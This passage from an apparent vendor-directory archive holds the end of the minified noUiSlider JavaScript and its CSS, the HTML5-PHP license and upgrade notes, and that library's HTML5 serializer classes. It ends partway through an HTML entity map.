a,b=[];for(a=0;a<d.handles;a+=1)b[a]=d.format.to(ba[a]);return C(b)}function Q(){da.forEach(function(a){a&&k($,a)}),$.innerHTML="",delete $.noUiSlider}function T(){var a=_.map(function(a,b){var c=aa.getApplicableStep(a),d=i(String(c[2])),e=ba[b],f=100===a?null:c[2],g=Number((e-c[2]).toFixed(d)),h=0===a?null:g>=c[1]?c[2]:c[0]||!1;return[h,f]});return C(a)}function U(a,b){ca[a]=ca[a]||[],ca[a].push(b),"update"===a.split(".")[0]&&Y.forEach(function(a,b){B("update",b)})}function V(a){var b=a.split(".")[0],c=a.substring(b.length);Object.keys(ca).forEach(function(a){var d=a.split(".")[0],e=a.substring(d.length);b&&b!==d||c&&c!==e||delete ca[a]})}function W(a){var b,c=P(),e=O({start:[0,0],margin:a.margin,limit:a.limit,step:a.step,range:a.range,animate:a.animate,snap:void 0===a.snap?d.snap:a.snap});for(["margin","limit","step","range","animate"].forEach(function(b){void 0!==a[b]&&(d[b]=a[b])}),aa=e.spectrum,_=[-1,-1],N(c),b=0;b<Y.length;b++)B("update",b)}var X,Y,Z,$=b,_=[-1,-1],aa=d.spectrum,ba=[],ca={},da=["target","base","origin","handle","horizontal","vertical","background","connect","ltr","rtl","draggable","","state-drag","","state-tap","active","","stacking","tooltip","","pips","marker","value"].map(o(d.cssPrefix||S));if($.noUiSlider)throw new Error("Slider was already initialized.");return X=t(d.dir,d.ort,$),Y=s(d.handles,d.dir,X),r(d.connect,$,Y),d.pips&&z(d.pips),d.tooltips&&v(),Z={destroy:Q,steps:T,on:U,off:V,get:P,set:N,updateOptions:W},K(d.events),Z}function Q(a,b){if(!a.nodeName)throw new Error("noUiSlider.create requires a single element.");var c=O(b,a),d=P(a,c);return d.set(c.start),a.noUiSlider=d,d}var R=window.navigator.pointerEnabled?{start:"pointerdown",move:"pointermove",end:"pointerup"}:window.navigator.msPointerEnabled?{start:"MSPointerDown",move:"MSPointerMove",end:"MSPointerUp"}:{start:"mousedown touchstart",move:"mousemove touchmove",end:"mouseup touchend"},S="noUi-";z.prototype.getMargin=function(a){return 2===this.xPct.length?q(this.xVal,a):!1},z.prototype.toStepping=function(a){return a=u(this.xVal,this.xPct,a),this.direction&&(a=100-a),a},z.prototype.fromStepping=function(a){return this.direction&&(a=100-a),e(v(this.xVal,this.xPct,a))},z.prototype.getStep=function(a){return this.direction&&(a=100-a),a=w(this.xPct,this.xSteps,this.snap,a),this.direction&&(a=100-a),a},z.prototype.getApplicableStep=function(a){var b=t(a,this.xPct),c=100===a?2:1;return[this.xNumSteps[b-2],this.xVal[b-c],this.xNumSteps[b-c]]},z.prototype.convert=function(a){return this.getStep(this.toStepping(a))};var T={to:function(a){return void 0!==a&&a.toFixed(2)},from:Number};return{create:Q}});vendor/nouislider/css/nouislider.css000066600000006726151150442750013720 0ustar00/*! nouislider - 8.2.1 - 2015-12-02 21:43:15 */


.noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-target{position:relative;direction:ltr}.noUi-base{width:100%;height:100%;position:relative;z-index:1}.noUi-origin{position:absolute;right:0;top:0;left:0;bottom:0}.noUi-handle{position:relative;z-index:1}.noUi-stacking .noUi-handle{z-index:10}.noUi-state-tap .noUi-origin{-webkit-transition:left .3s,top .3s;transition:left .3s,top .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-base{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.noUi-horizontal{height:18px}.noUi-horizontal .noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.noUi-background{background:#FAFAFA;box-shadow:inset 0 1px 1px #f0f0f0}.noUi-connect{background:#888888;box-shadow:inset 0 0 3px rgba(51,51,51,.45);-webkit-transition:background 450ms;transition:background 450ms}.noUi-origin{border-radius:2px}.noUi-target{border-radius:4px;border:1px solid #D3D3D3;box-shadow:inset 0 1px 1px #F0F0F0,0 3px 6px -5px #BBB}.noUi-target.noUi-connect{box-shadow:inset 0 0 3px rgba(51,51,51,.45),0 3px 6px -5px #BBB}.noUi-draggable{cursor:w-resize}.noUi-vertical .noUi-draggable{cursor:n-resize}.noUi-handle{border:1px solid #D9D9D9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #EBEBEB,0 3px 6px -3px #BBB}.noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.noUi-handle:after,.noUi-handle:before{content:"";display:block;position:absolute;height:14px;width:1px;background:#E8E7E6;left:14px;top:6px}.noUi-handle:after{left:17px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:14px;height:1px;left:6px;top:14px}.noUi-vertical .noUi-handle:after{top:17px}[disabled] .noUi-connect,[disabled].noUi-connect{background:#B8B8B8}[disabled] .noUi-handle,[disabled].noUi-origin{cursor:not-allowed}.noUi-pips,.noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.noUi-pips{position:absolute;color:#999}.noUi-value{width:40px;position:absolute;text-align:center}.noUi-value-sub{color:#ccc;font-size:10px}.noUi-marker{position:absolute;background:#CCC}.noUi-marker-large,.noUi-marker-sub{background:#AAA}.noUi-pips-horizontal{padding:10px 0;height:50px;top:100%;left:0;width:100%}.noUi-value-horizontal{margin-left:-20px;padding-top:20px}.noUi-value-horizontal.noUi-value-sub{padding-top:15px}.noUi-marker-horizontal.noUi-marker{margin-left:-1px;width:2px;height:5px}.noUi-marker-horizontal.noUi-marker-sub{height:10px}.noUi-marker-horizontal.noUi-marker-large{height:15px}.noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.noUi-value-vertical{width:15px;margin-left:20px;margin-top:-5px}.noUi-marker-vertical.noUi-marker{width:5px;height:2px;margin-top:-1px}.noUi-marker-vertical.noUi-marker-sub{width:10px}.noUi-marker-vertical.noUi-marker-large{width:15px}.noUi-tooltip{display:block;position:absolute;border:1px solid #D9D9D9;border-radius:3px;background:#fff;padding:5px;text-align:center}.noUi-horizontal .noUi-handle-lower .noUi-tooltip{top:-32px}.noUi-horizontal .noUi-handle-upper .noUi-tooltip{bottom:-32px}.noUi-vertical .noUi-handle-lower .noUi-tooltip{left:120%}.noUi-vertical .noUi-handle-upper .noUi-tooltip{right:120%}
.slider {margin: 20px 20px 60px 20px;}vendor/masterminds/html5/LICENSE.txt000066600000005635151150442750013264 0ustar00## HTML5-PHP License

Copyright (c) 2013 The Authors of HTML5-PHP

Matt Butcher - mattbutcher@google.com
Matt Farina - matt@mattfarina.com
Asmir Mustafic - goetas@gmail.com

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in 
the Software without restriction, including without limitation the rights to 
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

## HTML5Lib License

Portions of this are based on html5lib's PHP version, which was a
sub-project of html5lib. The following is the list of contributors from
html5lib:

html5lib:

Copyright (c) 2006-2009 The Authors

Contributors:
James Graham - jg307@cam.ac.uk
Anne van Kesteren - annevankesteren@gmail.com
Lachlan Hunt - lachlan.hunt@lachy.id.au
Matt McDonald - kanashii@kanashii.ca
Sam Ruby - rubys@intertwingly.net
Ian Hickson (Google) - ian@hixie.ch
Thomas Broyer - t.broyer@ltgt.net
Jacques Distler - distler@golem.ph.utexas.edu
Henri Sivonen - hsivonen@iki.fi
Adam Barth - abarth@webkit.org
Eric Seidel - eric@webkit.org
The Mozilla Foundation (contributions from Henri Sivonen since 2008)
David Flanagan (Mozilla) - dflanagan@mozilla.com

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in 
the Software without restriction, including without limitation the rights to 
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
vendor/masterminds/html5/UPGRADING.md000066600000000760151150442750013275 0ustar00From 1.x to 2.x
=================

- All classes uses `Masterminds` namespace.
- All public static methods has been removed from `HTML5` class and the general API to access the HTML5 functionalities has changed. 

    Before:
    
        $dom = \HTML5::loadHTML('<html>....');
        \HTML5::saveHTML($dom);
        
    After:

        use Masterminds\HTML5;
        
        $html5 = new HTML5();
        
        $dom = $html5->loadHTML('<html>....');
        echo $html5->saveHTML($dom);


vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php000066600000040352151150442750020211 0ustar00<?php
/**
 * @file
 * The rules for generating output in the serializer.
 *
 * These output rules are likely to generate output similar to the document that
 * was parsed. It is not intended to output exactly the document that was parsed.
 */

namespace Masterminds\HTML5\Serializer;

use Masterminds\HTML5\Elements;

/**
 * Generate the output html5 based on element rules.
 */
class OutputRules implements RulesInterface
{
    /**
     * Defined in http://www.w3.org/TR/html51/infrastructure.html#html-namespace-0.
     */
    const NAMESPACE_HTML = 'http://www.w3.org/1999/xhtml';

    const NAMESPACE_MATHML = 'http://www.w3.org/1998/Math/MathML';

    const NAMESPACE_SVG = 'http://www.w3.org/2000/svg';

    const NAMESPACE_XLINK = 'http://www.w3.org/1999/xlink';

    const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    const NAMESPACE_XMLNS = 'http://www.w3.org/2000/xmlns/';

    /**
     * Holds the HTML5 element names that causes a namespace switch.
     *
     * @var array
     */
    protected $implicitNamespaces = array(
        self::NAMESPACE_HTML,
        self::NAMESPACE_SVG,
        self::NAMESPACE_MATHML,
        self::NAMESPACE_XML,
        self::NAMESPACE_XMLNS,
    );

    const IM_IN_HTML = 1;

    const IM_IN_SVG = 2;

    const IM_IN_MATHML = 3;

    /**
     * Used as cache to detect if is available ENT_HTML5.
     *
     * @var bool
     */
    private $hasHTML5 = false;

    protected $traverser;

    protected $encode = false;

    protected $out;

    protected $outputMode;

    private $xpath;

    protected $nonBooleanAttributes = array(
        /*
        array(
            'nodeNamespace'=>'http://www.w3.org/1999/xhtml',
            'attrNamespace'=>'http://www.w3.org/1999/xhtml',

            'nodeName'=>'img', 'nodeName'=>array('img', 'a'),
            'attrName'=>'alt', 'attrName'=>array('title', 'alt'),
        ),
        */
        array(
            'nodeNamespace' => 'http://www.w3.org/1999/xhtml',
            'attrName' => array('href',
                'hreflang',
                'http-equiv',
                'icon',
                'id',
                'keytype',
                'kind',
                'label',
                'lang',
                'language',
                'list',
                'maxlength',
                'media',
                'method',
                'name',
                'placeholder',
                'rel',
                'rows',
                'rowspan',
                'sandbox',
                'spellcheck',
                'scope',
                'seamless',
                'shape',
                'size',
                'sizes',
                'span',
                'src',
                'srcdoc',
                'srclang',
                'srcset',
                'start',
                'step',
                'style',
                'summary',
                'tabindex',
                'target',
                'title',
                'type',
                'value',
                'width',
                'border',
                'charset',
                'cite',
                'class',
                'code',
                'codebase',
                'color',
                'cols',
                'colspan',
                'content',
                'coords',
                'data',
                'datetime',
                'default',
                'dir',
                'dirname',
                'enctype',
                'for',
                'form',
                'formaction',
                'headers',
                'height',
                'accept',
                'accept-charset',
                'accesskey',
                'action',
                'align',
                'alt',
                'bgcolor',
            ),
        ),
        array(
            'nodeNamespace' => 'http://www.w3.org/1999/xhtml',
            'xpath' => 'starts-with(local-name(), \'data-\')',
        ),
    );

    const DOCTYPE = '<!DOCTYPE html>';

    public function __construct($output, $options = array())
    {
        if (isset($options['encode_entities'])) {
            $this->encode = $options['encode_entities'];
        }

        $this->outputMode = static::IM_IN_HTML;
        $this->out = $output;
        $this->hasHTML5 = defined('ENT_HTML5');
    }

    public function addRule(array $rule)
    {
        $this->nonBooleanAttributes[] = $rule;
    }

    public function setTraverser(Traverser $traverser)
    {
        $this->traverser = $traverser;

        return $this;
    }

    public function unsetTraverser()
    {
        $this->traverser = null;

        return $this;
    }

    public function document($dom)
    {
        $this->doctype();
        if ($dom->documentElement) {
            foreach ($dom->childNodes as $node) {
                $this->traverser->node($node);
            }
            $this->nl();
        }
    }

    protected function doctype()
    {
        $this->wr(static::DOCTYPE);
        $this->nl();
    }

    public function element($ele)
    {
        $name = $ele->tagName;

        // Per spec:
        // If the element has a declared namespace in the HTML, MathML or
        // SVG namespaces, we use the lname instead of the tagName.
        if ($this->traverser->isLocalElement($ele)) {
            $name = $ele->localName;
        }

        // If we are in SVG or MathML there is special handling.
        // Using if/elseif instead of switch because it's faster in PHP.
        if ('svg' == $name) {
            $this->outputMode = static::IM_IN_SVG;
            $name = Elements::normalizeSvgElement($name);
        } elseif ('math' == $name) {
            $this->outputMode = static::IM_IN_MATHML;
        }

        $this->openTag($ele);
        if (Elements::isA($name, Elements::TEXT_RAW)) {
            foreach ($ele->childNodes as $child) {
                if ($child instanceof \DOMCharacterData) {
                    $this->wr($child->data);
                } elseif ($child instanceof \DOMElement) {
                    $this->element($child);
                }
            }
        } else {
            // Handle children.
            if ($ele->hasChildNodes()) {
                $this->traverser->children($ele->childNodes);
            }

            // Close out the SVG or MathML special handling.
            if ('svg' == $name || 'math' == $name) {
                $this->outputMode = static::IM_IN_HTML;
            }
        }

        // If not unary, add a closing tag.
        if (!Elements::isA($name, Elements::VOID_TAG)) {
            $this->closeTag($ele);
        }
    }

    /**
     * Write a text node.
     *
     * @param \DOMText $ele The text node to write.
     */
    public function text($ele)
    {
        if (isset($ele->parentNode) && isset($ele->parentNode->tagName) && Elements::isA($ele->parentNode->localName, Elements::TEXT_RAW)) {
            $this->wr($ele->data);

            return;
        }

        // FIXME: This probably needs some flags set.
        $this->wr($this->enc($ele->data));
    }

    public function cdata($ele)
    {
        // This encodes CDATA.
        $this->wr($ele->ownerDocument->saveXML($ele));
    }

    public function comment($ele)
    {
        // These produce identical output.
        // $this->wr('<!--')->wr($ele->data)->wr('-->');
        $this->wr($ele->ownerDocument->saveXML($ele));
    }

    public function processorInstruction($ele)
    {
        $this->wr('<?')
            ->wr($ele->target)
            ->wr(' ')
            ->wr($ele->data)
            ->wr('?>');
    }

    /**
     * Write the namespace attributes.
     *
     * @param \DOMNode $ele The element being written.
     */
    protected function namespaceAttrs($ele)
    {
        if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) {
            $this->xpath = new \DOMXPath($ele->ownerDocument);
        }

        foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
            if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
                $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"');
            }
        }
    }

    /**
     * Write the opening tag.
     *
     * Tags for HTML, MathML, and SVG are in the local name. Otherwise, use the
     * qualified name (8.3).
     *
     * @param \DOMNode $ele The element being written.
     */
    protected function openTag($ele)
    {
        $this->wr('<')->wr($this->traverser->isLocalElement($ele) ? $ele->localName : $ele->tagName);

        $this->attrs($ele);
        $this->namespaceAttrs($ele);

        if ($this->outputMode == static::IM_IN_HTML) {
            $this->wr('>');
        }         // If we are not in html mode we are in SVG, MathML, or XML embedded content.
        else {
            if ($ele->hasChildNodes()) {
                $this->wr('>');
            }             // If there are no children this is self closing.
            else {
                $this->wr(' />');
            }
        }
    }

    protected function attrs($ele)
    {
        // FIXME: Needs support for xml, xmlns, xlink, and namespaced elements.
        if (!$ele->hasAttributes()) {
            return $this;
        }

        // TODO: Currently, this always writes name="value", and does not do
        // value-less attributes.
        $map = $ele->attributes;
        $len = $map->length;
        for ($i = 0; $i < $len; ++$i) {
            $node = $map->item($i);
            $val = $this->enc($node->value, true);

            // XXX: The spec says that we need to ensure that anything in
            // the XML, XMLNS, or XLink NS's should use the canonical
            // prefix. It seems that DOM does this for us already, but there
            // may be exceptions.
            $name = $node->nodeName;

            // Special handling for attributes in SVG and MathML.
            // Using if/elseif instead of switch because it's faster in PHP.
            if ($this->outputMode == static::IM_IN_SVG) {
                $name = Elements::normalizeSvgAttribute($name);
            } elseif ($this->outputMode == static::IM_IN_MATHML) {
                $name = Elements::normalizeMathMlAttribute($name);
            }

            $this->wr(' ')->wr($name);

            if ((isset($val) && '' !== $val) || $this->nonBooleanAttribute($node)) {
                $this->wr('="')->wr($val)->wr('"');
            }
        }
    }

    protected function nonBooleanAttribute(\DOMAttr $attr)
    {
        $ele = $attr->ownerElement;
        foreach ($this->nonBooleanAttributes as $rule) {
            if (isset($rule['nodeNamespace']) && $rule['nodeNamespace'] !== $ele->namespaceURI) {
                continue;
            }
            if (isset($rule['attNamespace']) && $rule['attNamespace'] !== $attr->namespaceURI) {
                continue;
            }
            if (isset($rule['nodeName']) && !is_array($rule['nodeName']) && $rule['nodeName'] !== $ele->localName) {
                continue;
            }
            if (isset($rule['nodeName']) && is_array($rule['nodeName']) && !in_array($ele->localName, $rule['nodeName'], true)) {
                continue;
            }
            if (isset($rule['attrName']) && !is_array($rule['attrName']) && $rule['attrName'] !== $attr->localName) {
                continue;
            }
            if (isset($rule['attrName']) && is_array($rule['attrName']) && !in_array($attr->localName, $rule['attrName'], true)) {
                continue;
            }
            if (isset($rule['xpath'])) {
                $xp = $this->getXPath($attr);
                if (isset($rule['prefixes'])) {
                    foreach ($rule['prefixes'] as $nsPrefix => $ns) {
                        $xp->registerNamespace($nsPrefix, $ns);
                    }
                }
                if (!$xp->evaluate($rule['xpath'], $attr)) {
                    continue;
                }
            }

            return true;
        }

        return false;
    }

    private function getXPath(\DOMNode $node)
    {
        if (!$this->xpath) {
            $this->xpath = new \DOMXPath($node->ownerDocument);
        }

        return $this->xpath;
    }

    /**
     * Write the closing tag.
     *
     * Tags for HTML, MathML, and SVG are in the local name. Otherwise, use the
     * qualified name (8.3).
     *
     * @param \DOMNode $ele The element being written.
     */
    protected function closeTag($ele)
    {
        if ($this->outputMode == static::IM_IN_HTML || $ele->hasChildNodes()) {
            $this->wr('</')->wr($this->traverser->isLocalElement($ele) ? $ele->localName : $ele->tagName)->wr('>');
        }
    }

    /**
     * Write to the output.
     *
     * @param string $text The string to put into the output
     *
     * @return $this
     */
    protected function wr($text)
    {
        fwrite($this->out, $text);

        return $this;
    }

    /**
     * Write a new line character.
     *
     * @return $this
     */
    protected function nl()
    {
        fwrite($this->out, PHP_EOL);

        return $this;
    }

    /**
     * Encode text.
     *
     * When encode is set to false, the default value, the text passed in is
     * escaped per section 8.3 of the html5 spec. For details on how text is
     * escaped see the escape() method.
     *
     * When encoding is set to true the text is converted to named character
     * references where appropriate. Section 8.1.4 Character references of the
     * html5 spec refers to using named character references. This is useful for
     * characters that can't otherwise legally be used in the text.
     *
     * The named character references are listed in section 8.5.
     *
     * @see http://www.w3.org/TR/2013/CR-html5-20130806/syntax.html#named-character-references True encoding will turn all named character references into their entities.
     *      This includes such characters as +.# and many other common ones. By default
     *      encoding here will just escape &'<>".
     *
     *      Note, PHP 5.4+ has better html5 encoding.
     *
     * @todo Use the Entities class in php 5.3 to have html5 entities.
     *
     * @param string $text      Text to encode.
     * @param bool   $attribute True if we are encoding an attrubute, false otherwise.
     *
     * @return string The encoded text.
     */
    protected function enc($text, $attribute = false)
    {
        // Escape the text rather than convert to named character references.
        if (!$this->encode) {
            return $this->escape($text, $attribute);
        }

        // If we are in PHP 5.4+ we can use the native html5 entity functionality to
        // convert the named character references.

        if ($this->hasHTML5) {
            return htmlentities($text, ENT_HTML5 | ENT_SUBSTITUTE | ENT_QUOTES, 'UTF-8', false);
        }         // If a version earlier than 5.4 html5 entities are not entirely handled.
        // This manually handles them.
        else {
            return strtr($text, HTML5Entities::$map);
        }
    }

    /**
     * Escape test.
     *
     * According to the html5 spec section 8.3 Serializing HTML fragments, text
     * within tags that are not style, script, xmp, iframe, noembed, and noframes
     * need to be properly escaped.
     *
     * The & should be converted to &amp;, no breaking space unicode characters
     * converted to &nbsp;, when in attribute mode the " should be converted to
     * &quot;, and when not in attribute mode the < and > should be converted to
     * &lt; and &gt;.
     *
     * @see http://www.w3.org/TR/2013/CR-html5-20130806/syntax.html#escapingString
     *
     * @param string $text      Text to escape.
     * @param bool   $attribute True if we are escaping an attrubute, false otherwise.
     */
    protected function escape($text, $attribute = false)
    {
        // Not using htmlspecialchars because, while it does escaping, it doesn't
        // match the requirements of section 8.5. For example, it doesn't handle
        // non-breaking spaces.
        if ($attribute) {
            $replace = array(
                '"' => '&quot;',
                '&' => '&amp;',
                "\xc2\xa0" => '&nbsp;',
            );
        } else {
            $replace = array(
                '<' => '&lt;',
                '>' => '&gt;',
                '&' => '&amp;',
                "\xc2\xa0" => '&nbsp;',
            );
        }

        return strtr($text, $replace);
    }
}
vendor/masterminds/html5/src/HTML5/Serializer/README.md000066600000001641151150442750016442 0ustar00# The Serializer (Writer) Model

The serializer roughly follows sections _8.1 Writing HTML documents_ and section
_8.3 Serializing HTML fragments_ by converting DOMDocument, DOMDocumentFragment,
and DOMNodeList into HTML5.

       [ HTML5 ]   // Interface for saving.
          ||
     [ Traverser ]   // Walk the DOM
          ||
       [ Rules ]     // Convert DOM elements into strings.
          ||
       [ HTML5 ]     // HTML5 document or fragment in text.


## HTML5 Class

Provides the top level interface for saving.

## The Traverser

Walks the DOM finding each element and passing it off to the output rules to
convert to HTML5.

## Output Rules

The output rules are defined in the RulesInterface which can have multiple
implementations. Currently, the OutputRules is the default implementation that
converts a DOM as is into HTML5.

## HTML5 String

The output of the process it HTML5 as a string or saved to a file.vendor/masterminds/html5/src/HTML5/Serializer/RulesInterface.php000066600000005067151150442750020615 0ustar00<?php
/**
 * @file
 * The interface definition for Rules to generate output.
 */

namespace Masterminds\HTML5\Serializer;

/**
 * To create a new rule set for writing output the RulesInterface needs to be implemented.
 * The resulting class can be specified in the options with the key of rules.
 *
 * For an example implementation see Serializer\OutputRules.
 */
interface RulesInterface
{
    /**
     * The class constructor.
     *
     * Note, before the rules can be used a traverser must be registered.
     *
     * @param mixed $output  The output stream to write output to.
     * @param array $options An array of options.
     */
    public function __construct($output, $options = array());

    /**
     * Register the traverser used in but the rules.
     *
     * Note, only one traverser can be used by the rules.
     *
     * @param Traverser $traverser The traverser used in the rules.
     *
     * @return RulesInterface $this for the current object.
     */
    public function setTraverser(Traverser $traverser);

    /**
     * Write a document element (\DOMDocument).
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param \DOMDocument $dom
     */
    public function document($dom);

    /**
     * Write an element.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function element($ele);

    /**
     * Write a text node.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function text($ele);

    /**
     * Write a CDATA node.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function cdata($ele);

    /**
     * Write a comment node.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function comment($ele);

    /**
     * Write a processor instruction.
     *
     * To learn about processor instructions see InstructionProcessor
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function processorInstruction($ele);
}
vendor/masterminds/html5/src/HTML5/Serializer/Traverser.php000066600000010315151150442750017647 0ustar00<?php

namespace Masterminds\HTML5\Serializer;

/**
 * Traverser for walking a DOM tree.
 *
 * This is a concrete traverser designed to convert a DOM tree into an
 * HTML5 document. It is not intended to be a generic DOMTreeWalker
 * implementation.
 *
 * @see http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#serializing-html-fragments
 */
class Traverser
{
    /**
     * Namespaces that should be treated as "local" to HTML5.
     */
    protected static $local_ns = array(
        'http://www.w3.org/1999/xhtml' => 'html',
        'http://www.w3.org/1998/Math/MathML' => 'math',
        'http://www.w3.org/2000/svg' => 'svg',
    );

    protected $dom;

    protected $options;

    protected $encode = false;

    protected $rules;

    protected $out;

    /**
     * Create a traverser.
     *
     * @param \DOMNode|\DOMNodeList $dom     The document or node to traverse.
     * @param resource              $out     A stream that allows writing. The traverser will output into this
     *                                       stream.
     * @param array                 $options An array of options for the traverser as key/value pairs. These include:
     *                                       - encode_entities: A bool to specify if full encding should happen for all named
     *                                       charachter references. Defaults to false which escapes &'<>".
     *                                       - output_rules: The path to the class handling the output rules.
     */
    public function __construct($dom, $out, RulesInterface $rules, $options = array())
    {
        $this->dom = $dom;
        $this->out = $out;
        $this->rules = $rules;
        $this->options = $options;

        $this->rules->setTraverser($this);
    }

    /**
     * Tell the traverser to walk the DOM.
     *
     * @return resource $out Returns the output stream.
     */
    public function walk()
    {
        if ($this->dom instanceof \DOMDocument) {
            $this->rules->document($this->dom);
        } elseif ($this->dom instanceof \DOMDocumentFragment) {
            // Document fragments are a special case. Only the children need to
            // be serialized.
            if ($this->dom->hasChildNodes()) {
                $this->children($this->dom->childNodes);
            }
        }        // If NodeList, loop
        elseif ($this->dom instanceof \DOMNodeList) {
            // If this is a NodeList of DOMDocuments this will not work.
            $this->children($this->dom);
        }         // Else assume this is a DOMNode-like datastructure.
        else {
            $this->node($this->dom);
        }

        return $this->out;
    }

    /**
     * Process a node in the DOM.
     *
     * @param mixed $node A node implementing \DOMNode.
     */
    public function node($node)
    {
        // A listing of types is at http://php.net/manual/en/dom.constants.php
        switch ($node->nodeType) {
            case XML_ELEMENT_NODE:
                $this->rules->element($node);
                break;
            case XML_TEXT_NODE:
                $this->rules->text($node);
                break;
            case XML_CDATA_SECTION_NODE:
                $this->rules->cdata($node);
                break;
            case XML_PI_NODE:
                $this->rules->processorInstruction($node);
                break;
            case XML_COMMENT_NODE:
                $this->rules->comment($node);
                break;
            // Currently we don't support embedding DTDs.
            default:
                //print '<!-- Skipped -->';
                break;
        }
    }

    /**
     * Walk through all the nodes on a node list.
     *
     * @param \DOMNodeList $nl A list of child elements to walk through.
     */
    public function children($nl)
    {
        foreach ($nl as $node) {
            $this->node($node);
        }
    }

    /**
     * Is an element local?
     *
     * @param mixed $ele An element that implement \DOMNode.
     *
     * @return bool true if local and false otherwise.
     */
    public function isLocalElement($ele)
    {
        $uri = $ele->namespaceURI;
        if (empty($uri)) {
            return false;
        }

        return isset(static::$local_ns[$uri]);
    }
}
vendor/masterminds/html5/src/HTML5/Serializer/HTML5Entities.php000066600000126404151150442750020237 0ustar00<?php
/**
 * @file
 * This contains HTML5 entities to use with serializing.
 *
 * The list here is mildly different from the list at Entities because
 * that list was generated from the w3c. It contains some entities that are
 * not entirely proper such as &am; which maps to &. This list is meant to be
 * a fallback for PHP versions prior to PHP 5.4 when dealing with encoding.
 */

namespace Masterminds\HTML5\Serializer;

/**
 * A mapping of entities to their html5 representation.
 * Used for older PHP
 * versions that don't have the mapping.
 */
class HTML5Entities
{
    public static $map = array(
        '	' => '&Tab;',
        "\n" => '&NewLine;',
        '!' => '&excl;',
        '"' => '&quot;',
        '#' => '&num;',
        '$' => '&dollar;',
        '%' => '&percnt;',
        '&' => '&amp;',
        '\'' => '&apos;',
        '(' => '&lpar;',
        ')' => '&rpar;',
        '*' => '&ast;',
        '+' => '&plus;',
        ',' => '&comma;',
        '.' => '&period;',
        '/' => '&sol;',
        ':' => '&colon;',
        ';' => '&semi;',
        '<' => '&lt;',
        '<⃒' => '&nvlt',
        '=' => '&equals;',
        '=⃥' => '&bne',
        '>' => '&gt;',
        '>⃒' => '&nvgt',
        '?' => '&quest;',
        '@' => '&commat;',
        '[' => '&lbrack;',
        '\\' => '&bsol;',
        ']' => '&rsqb;',
        '^' => '&Hat;',
        '_' => '&lowbar;',
        '`' => '&grave;',
        'fj' => '&fjlig',
        '{' => '&lbrace;',
        '|' => '&vert;',
        '}' => '&rcub;',
        ' ' => '&nbsp;',
        '¡' => '&iexcl;',
        '¢' => '&cent;',
        '£' => '&pound;',
        '¤' => '&curren;',
        '¥' => '&yen;',
        '¦' => '&brvbar;',
        '§' => '&sect;',
        '¨' => '&DoubleDot;',
        '©' => '&copy;',
        'ª' => '&ordf;',
        '«' => '&laquo;',
        '¬' => '&not;',
        '­' => '&shy;',
        '®' => '&reg;',
        '¯' => '&macr;',
        '°' => '&deg;',
        '±' => '&plusmn;',
        '²' => '&sup2;',
        '³' => '&sup3;',
        '´' => '&DiacriticalAcute;',
        'µ' => '&micro;',
        '¶' => '&para;',
